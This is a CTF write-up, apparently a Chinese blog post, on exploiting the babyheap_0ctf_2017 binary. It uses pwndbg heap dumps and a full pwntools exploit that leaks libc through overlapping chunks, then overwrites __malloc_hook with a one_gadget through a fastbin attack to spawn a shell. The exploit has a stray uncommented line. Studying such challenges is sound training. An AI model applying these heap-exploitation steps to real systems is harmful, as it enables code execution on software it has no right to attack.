美文网首页
babyheap_0ctf_2017

babyheap_0ctf_2017

作者: cnitlrt | 来源:发表于2020-02-18 13:59 被阅读0次

    记录一次关于堆的调试过程:

    参考:https://iosmosis.github.io/2019/09/13/babyheap-0ctf-2017/

    首先checksec:

    1.png

    全保护

    run:

    2.png

    根据运行可以写一段exp:

    def alloc(size):
        p.recvuntil('Command: ')
        p.sendline('1')
        p.sendline(str(size))
    
    def fill(idx,payload):
        p.recvuntil('Command: ')
        p.sendline('2') 
        p.sendline(str(idx))
        p.sendline(str(len(payload)))
        p.send(payload) 
        
    def free(idx):
        p.recvuntil('Command: ')
        p.sendline('3')
        p.sendline(str(idx))   
        
    def dump(idx):
        p.recvuntil('Command: ') 
        p.sendline('4')
        p.sendline(str(idx))    
        p.recvuntil('Content: \n')
    

    ida:

    3.png
    Allocate - 调用 calloc 分配小于 0x1000 大小的内存,calloc 分配的 chunk 会被清空。
    Fill - 填充任意大小的内存,意味着可以覆盖其它 chunk。
    Free - 释放一块 chunk。
    Dump - 输出限制大小的 chunk 内容。
    

    第一步leak libc:

    first step:

    • alloc(0x60)
    • alloc(0x40)
    • alloc(0x100)
      此时堆的分布:
    pwndbg> x/32gx 0x558f2644f000
    0x558f2644f000: 0x0000000000000000  0x0000000000000071 #idx0
    0x558f2644f010: 0x0000000000000000  0x0000000000000000
    0x558f2644f020: 0x0000000000000000  0x0000000000000000
    0x558f2644f030: 0x0000000000000000  0x0000000000000000
    0x558f2644f040: 0x0000000000000000  0x0000000000000000
    0x558f2644f050: 0x0000000000000000  0x0000000000000000
    0x558f2644f060: 0x0000000000000000  0x0000000000000000
    0x558f2644f070: 0x0000000000000000  0x0000000000000051 #idx1
    0x558f2644f080: 0x0000000000000000  0x0000000000000000
    0x558f2644f090: 0x0000000000000000  0x0000000000000000
    0x558f2644f0a0: 0x0000000000000000  0x0000000000000000
    0x558f2644f0b0: 0x0000000000000000  0x0000000000000000
    0x558f2644f0c0: 0x0000000000000000  0x0000000000000111 #idx2
    0x558f2644f0d0: 0x0000000000000000  0x0000000000000000
    0x558f2644f0e0: 0x0000000000000000  0x0000000000000000
    0x558f2644f0f0: 0x0000000000000000  0x0000000000000000
    

    second step:

    • fill(0,0x60*'a'+p64(0)+p64(0x71))
    • fill(2,0x10*'b'+p64(0)+p64(0x71))
    • free(1)
    • alloc(0x60)
    pwndbg> x/32gx 0x55f3025cc000
    0x55f3025cc000: 0x0000000000000000  0x0000000000000071
    0x55f3025cc010: 0x6161616161616161  0x6161616161616161
    0x55f3025cc020: 0x6161616161616161  0x6161616161616161
    0x55f3025cc030: 0x6161616161616161  0x6161616161616161
    0x55f3025cc040: 0x6161616161616161  0x6161616161616161
    0x55f3025cc050: 0x6161616161616161  0x6161616161616161
    0x55f3025cc060: 0x6161616161616161  0x6161616161616161
    0x55f3025cc070: 0x0000000000000000  0x0000000000000071
    0x55f3025cc080: 0x0000000000000000  0x0000000000000000
    0x55f3025cc090: 0x0000000000000000  0x0000000000000000
    0x55f3025cc0a0: 0x0000000000000000  0x0000000000000000
    0x55f3025cc0b0: 0x0000000000000000  0x0000000000000000
    0x55f3025cc0c0: 0x0000000000000000  0x0000000000000000
    0x55f3025cc0d0: 0x0000000000000000  0x0000000000000000
    0x55f3025cc0e0: 0x0000000000000000  0x0000000000000071
    0x55f3025cc0f0: 0x0000000000000000  0x0000000000000000
    

    thrid step:

    • fill(1,0x40*'c'+p64(0)+p64(0x111))
    • alloc(0x100)
    • free(2)
    • dump(1)
    pwndbg> x/32gx 0x5630c0d74000
    0x5630c0d74000: 0x0000000000000000  0x0000000000000071
    0x5630c0d74010: 0x6161616161616161  0x6161616161616161
    0x5630c0d74020: 0x6161616161616161  0x6161616161616161
    0x5630c0d74030: 0x6161616161616161  0x6161616161616161
    0x5630c0d74040: 0x6161616161616161  0x6161616161616161
    0x5630c0d74050: 0x6161616161616161  0x6161616161616161
    0x5630c0d74060: 0x6161616161616161  0x6161616161616161
    0x5630c0d74070: 0x0000000000000000  0x0000000000000071
    0x5630c0d74080: 0x6363636363636363  0x6363636363636363
    0x5630c0d74090: 0x6363636363636363  0x6363636363636363
    0x5630c0d740a0: 0x6363636363636363  0x6363636363636363
    0x5630c0d740b0: 0x6363636363636363  0x6363636363636363
    0x5630c0d740c0: 0x0000000000000000  0x0000000000000111
    0x5630c0d740d0: 0x00007fa90b8bdb78  0x00007fa90b8bdb78   #main_arena-88的地址
    0x5630c0d740e0: 0x0000000000000000  0x0000000000000071
    0x5630c0d740f0: 0x0000000000000000  0x0000000000000000
    

    leak出的地址:

    0x7fa90b8bdb78 <main_arena+88>: 0x00005630c0d742e0  0x0000000000000000
    

    libc_base = leak出的地址-offset

    pwndbg> vmmap
    LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
        0x469d3a103000     0x469d3a104000 rw-p     1000 0      
        0x5630bfc06000     0x5630bfc08000 r-xp     2000 0      /home/cnitlrt/桌面/babyheap
        0x5630bfe07000     0x5630bfe08000 r--p     1000 1000   /home/cnitlrt/桌面/babyheap
        0x5630bfe08000     0x5630bfe09000 rw-p     1000 2000   /home/cnitlrt/桌面/babyheap
        0x5630c0d74000     0x5630c0d95000 rw-p    21000 0      [heap]
        0x7fa90b4f9000     0x7fa90b6b9000 r-xp   1c0000 0      /lib/x86_64-linux-gnu/libc-2.23.so
        0x7fa90b6b9000     0x7fa90b8b9000 ---p   200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
        0x7fa90b8b9000     0x7fa90b8bd000 r--p     4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
        0x7fa90b8bd000     0x7fa90b8bf000 rw-p     2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
    

    所以offset:

    pwndbg> p/x 0x00007fa90b8bdb78-0x7fa90b4f9000
    $1 = 0x3c4b78
    

    第二步获取shell(fastbin_attack double free)

    pwndbg> x/32gx 0x00007fa90b8bdb78 - 88-16-0x23
    0x7fa90b8bdaed <_IO_wide_data_0+301>:   0xa90b8bc260000000  0x000000000000007f
    0x7fa90b8bdafd: 0xa90b57ee20000000  0xa90b57ea0000007f
    0x7fa90b8bdb0d <__realloc_hook+5>:  0x000000000000007f  0x0000000000000000
    0x7fa90b8bdb1d: 0x0000000000000000  0x0000000000000000
    0x7fa90b8bdb2d <main_arena+13>: 0x0000000000000000  0x0000000000000000
    0x7fa90b8bdb3d <main_arena+29>: 0x0000000000000000  0x0000000000000000
    0x7fa90b8bdb4d <main_arena+45>: 0x0000000000000000  0x0000000000000000
    0x7fa90b8bdb5d <main_arena+61>: 0x0000000000000000  0x0000000000000000
    0x7fa90b8bdb6d <main_arena+77>: 0x0000000000000000  0x30c0d742e0000000
    0x7fa90b8bdb7d <main_arena+93>: 0x0000000000000056  0x30c0d740c0000000
    0x7fa90b8bdb8d <main_arena+109>:    0x30c0d740c0000056  0xa90b8bdb88000056
    0x7fa90b8bdb9d <main_arena+125>:    0xa90b8bdb8800007f  0xa90b8bdb9800007f
    0x7fa90b8bdbad <main_arena+141>:    0xa90b8bdb9800007f  0xa90b8bdba800007f
    0x7fa90b8bdbbd <main_arena+157>:    0xa90b8bdba800007f  0xa90b8bdbb800007f
    0x7fa90b8bdbcd <main_arena+173>:    0xa90b8bdbb800007f  0xa90b8bdbc800007f
    0x7fa90b8bdbdd <main_arena+189>:    0xa90b8bdbc800007f  0xa90b8bdbd800007f
    

    利用思路主要是double free:free(1)change chunk1的fd指针,第二次申请到的就是fakechunk ,填充memalign_hook realloc_hook malloc hook覆盖指针为onegadget
    完整exp:

    from pwn import*
    p = process("./babyheap")
    context.log_level = 'debug'
    libc = ELF("libc-2.23.so")
    print util.proc.pidof(p)
    pause()
    #context.log_level = 'debug'
    def alloc(size):
        p.recvuntil('Command: ')
        p.sendline('1')
        p.sendline(str(size))
    
    def fill(idx,payload):
        p.recvuntil('Command: ')
        p.sendline('2') 
        p.sendline(str(idx))
        p.sendline(str(len(payload)))
        p.send(payload) 
        
    def free(idx):
        p.recvuntil('Command: ')
        p.sendline('3')
        p.sendline(str(idx))   
        
    def dump(idx):
        p.recvuntil('Command: ') 
        p.sendline('4')
        p.sendline(str(idx))    
        p.recvuntil('Content: \n')
    log.success("-----------------------leak libc-------------------------")
    alloc(0x60)#0
    alloc(0x40)#1
    alloc(0x100)#2
    fill(0,0x60*'a'+p64(0)+p64(0x71))
    fill(2,0x10*'b'+p64(0)+p64(0x71))
    free(1)
    alloc(0x60)
    fill(1,0x40*'c'+p64(0)+p64(0x111))
    alloc(0x100)#3
    free(2)
    dump(1)
    main_arena = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
    print hex(main_arena)
    offset = hex(0x7f9888706b78-0x7f9888342000)
    print offset
    libc_base = main_arena - 0x3c4b78
    log.success("---------------------getshell------------------------")
    malloc_chunk = libc.symbols["__malloc_hook"]+libc_base
    fake_chunk = malloc_chunk-0x23
    print hex(fake_chunk)
    free(1)
    fill(0,"a"*0x60+p64(0)+p64(0x71)+p64(fake_chunk)+p64(0))
    alloc(0x60)
    alloc(0x60)
                              memalign_hook  realloc_hook  malloc hook
    fill(2,      "a"*3        +p64(0)      +p64(0)       +p64(libc_base+0x4526a))
    alloc(0x100)
    p.interactive()
    

    相关文章

      网友评论

          本文标题:babyheap_0ctf_2017

          本文链接:https://www.haomeiwen.com/subject/shlgfhtx.html